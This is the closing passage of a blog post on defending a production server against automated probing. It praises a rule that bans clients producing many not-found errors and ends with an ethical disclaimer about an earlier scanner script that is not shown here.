The 404-flood rule is remarkably elegant because it requires no knowledge of specific attack signatures. It simply observes that normal users don’t generate 44 not-found errors in 10 minutes — and bans anything that does.

If you operate any internet-facing service, I hope this analysis of real attacks against a real (if modest) production server gives you both the motivation to harden your setup and the concrete tools to do it. Your server is being probed right now. The question is only whether it is ready.


⚠️ Ethical Disclaimer

The Python script in Chapter 2 is provided solely for educational purposes to illustrate how automated scanners work mechanically. Running vulnerability scanners or exploit scripts against servers you do not own is illegal in most jurisdictions under computer fraud and abuse laws.

All IP addresses mentioned in this article are from public log files on a server I personally operate.

Analytics

Unique visitors

0

Visits

0

Reactions

0

πŸ’¬ Comments (0)

No comments yet.

πŸ’Œ Share Your Opinion With Us

πŸ“– Read More Articles

Explore more articles and discover interesting stories from our blog.

View All Articles β†’